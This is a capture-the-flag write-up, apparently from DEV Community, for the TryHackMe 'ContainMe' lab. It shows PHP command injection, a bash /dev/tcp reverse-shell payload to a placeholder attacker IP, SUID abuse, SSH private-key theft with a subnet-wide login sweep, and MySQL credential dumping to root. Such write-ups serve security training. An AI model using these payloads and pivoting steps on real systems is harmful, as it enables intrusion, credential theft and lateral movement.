VOOZH about

URL: https://dev.to/exploitnotes/ctf-writeup-containme-tryhackme-4g0b

⇱ CTF Writeup: ContainMe - TryHackMe - DEV Community


Difficulty: Medium

Theme: Container escape / lateral movement / pivoting


Overview

A multi-stage machine involving command injection via a PHP web app, SUID binary abuse for privilege escalation inside a container (host1), SSH key pivoting to a second container (host2), and MySQL credential harvesting to reach root and extract the final flag.


Phase 1 — Reconnaissance

Nmap

nmap -sCV -A <MACHINE-IP>

Open ports:

22/tcp — OpenSSH 7.6p1 (Ubuntu)
80/tcp — Apache 2.4.29
2222/tcp — unknown (empty reply on curl)
8022/tcp — OpenSSH 8.2p1 (Ubuntu)

Directory Enumeration (dirsearch)

dirsearch -u http://<MACHINE-IP>/ -x 403

Results:

/index.php — 200 (175B)
/info.php — 200 (21KB — full phpinfo page)

/info.php revealed PHP 7.2.24 and full server configuration details.


Phase 2 — Command Injection via index.php

Source Code Discovery

Viewing the page source of /index.php revealed a comment:

<!-- where is the path ? -->

The page body also showed a directory listing (ls -la style output), suggesting the backend passes user input directly to a shell command.

Parameter Fuzzing

ffuf -u "http://<MACHINE-IP>/index.php?FUZZ=test" \
 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
 -fs 175,329

Hit: parameter path produced a different response size.

Confirming LFI / Command Injection

Tested path traversal:

http://<MACHINE-IP>/index.php?path=/../../etc/passwd

Returned a file listing — backend was running something like ls -la <path>.

Tested pipe injection:

http://<MACHINE-IP>/index.php?path=/etc/passwd|id

Response:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE confirmed.

Reverse Shell

Started a listener on Kali (<ATTACKER-IP>:4444) and triggered:

http://<MACHINE-IP>/index.php?path=/etc/passwd|bash -c 'bash -i >%26 /dev/tcp/<ATTACKER-IP>/4444 0>%261'

Shell received as www-data on host1.


Phase 3 — Privilege Escalation on host1 via SUID Binary

SUID Search

find / -perm -4000 2>/dev/null

Notable result:

-rwsr-xr-x 1 root root 358668 /usr/share/man/zh_TW/crypt

An unusual SUID binary in a man page directory.

Binary Exfiltration

strings, file, ltrace, checksec were not available inside the container. Exfiltrated the binary via base64:

# on host1
base64 /usr/share/man/zh_TW/crypt
# copied output to Kali
base64 -d crypt.b64 > crypt

On Kali:

file crypt # ELF 64-bit MSB *unknown arch 0x3e00*
strings crypt # shows UPX! markers
upx -d crypt -o decrypted # NotPackedException — custom packer, not standard UPX

Black-box Testing the Binary

./crypt # prints "CRYPTSHELL" ASCII banner
./crypt -h # "You wish!"
./crypt --help # "Unable to decompress."
./crypt id # "Unable to decompress."
./crypt root # "Unable to decompress."

Checked /etc/passwd for valid users — found mike. Tried:

./crypt mike

Result: dropped a root shell on host1.

root@host1:/usr/share/man/zh_TW#id
uid=0(root) gid=33(www-data) groups=33(www-data)

The binary appears to check if the argument matches a valid local username (specifically mike) and spawns a privileged shell.


Phase 4 — Network Pivoting to host2

Network Enumeration

ip a

Two interfaces found:

eth0: <CONTAINER-EXT-IP>/24 (external-facing)
eth1: <CONTAINER1-IP>/24 (internal network)

host1 is a container bridged to an internal 172.16.20.0/24 subnet.

SSH Key Discovery

As root on host1, mike's home directory was previously inaccessible from www-data. Now readable:

cat /home/mike/.ssh/id_rsa
# saved to Kali as id_rsa
chmod 600 id_rsa

Internal Host Discovery

Looped through the subnet using mike's SSH key:

for i in {1..254}; do
 ssh -i id_rsa \
 -o ConnectTimeout=1 \
 -o StrictHostKeyChecking=no \
 -o PasswordAuthentication=no \
 -o BatchMode=yes \
 mike@172.16.20.$i "hostname; id" 2>/dev/null && \
 echo "[+] Success on 172.16.20.$i"
done

Hit:

host2
uid=1001(mike) gid=1001(mike) groups=1001(mike)
[+] Success on <CONTAINER2-IP>

SSH into host2

ssh -i id_rsa mike@<CONTAINER2-IP>

Logged in as mike on host2.


Phase 5 — MySQL Credential Harvesting on host2

Service Enumeration

ss -tulnp

Output:

tcp LISTEN 127.0.0.1:3306 — MySQL running locally
tcp LISTEN 0.0.0.0:22 — SSH

Grabbing the MySQL Banner

curl http://localhost:3306 --output service
base64 service | base64 -d
# 5.7.34-0ubuntu0.18.04.1 ... mysql_native_password

Confirmed MySQL 5.7.

Login with Weak Credentials

Tried common passwords — password worked:

mysql -umike -ppassword

Dumping the Database

show databases;
use accounts;
show tables;
select * from users;

Output:

+-------+---------------------+
| login | password |
+-------+---------------------+
| root | bjsig4868fgjjeog |
| mike | WhatAreYouDoingHere |
+-------+---------------------+

Escalate to Root

su root
# password: bjsig4868fgjjeog

id
# uid=0(root) gid=0(root) groups=0(root)

Phase 6 — Root Flag

ls /root
# mike.zip

unzip mike.zip
# [password prompt] → WhatAreYouDoingHere (mike's DB password)

cat mike
# THM{REDACTED}

Flag

Flag Value
Root flag THM{REDACTED}

Full Attack Chain

Nmap → found ports 80, 22, 2222, 8022
 ↓
dirsearch → /index.php, /info.php (phpinfo leaks host1.lxd)
 ↓
ffuf → discovered "path" parameter
 ↓
Pipe injection (|id) → RCE as www-data on host1
 ↓
Reverse shell → www-data@host1
 ↓
SUID binary /usr/share/man/zh_TW/crypt + arg "mike" → root@host1
 ↓
Read /home/mike/.ssh/id_rsa
 ↓
SSH key scan on 172.16.20.0/24 → hit <CONTAINER2-IP> (host2)
 ↓
SSH as mike@host2
 ↓
MySQL on 127.0.0.1:3306 → creds: root / bjsig4868fgjjeog
 ↓
su root → /root/mike.zip → THM{REDACTED}

Tools Used

  • nmap — port and service scanning
  • dirsearch / ffuf — web directory and parameter fuzzing
  • netcat — reverse shell listener
  • base64 — binary exfiltration from container
  • strings / upx — binary analysis on Kali
  • SSH with private key — lateral movement across containers
  • MySQL client — credential extraction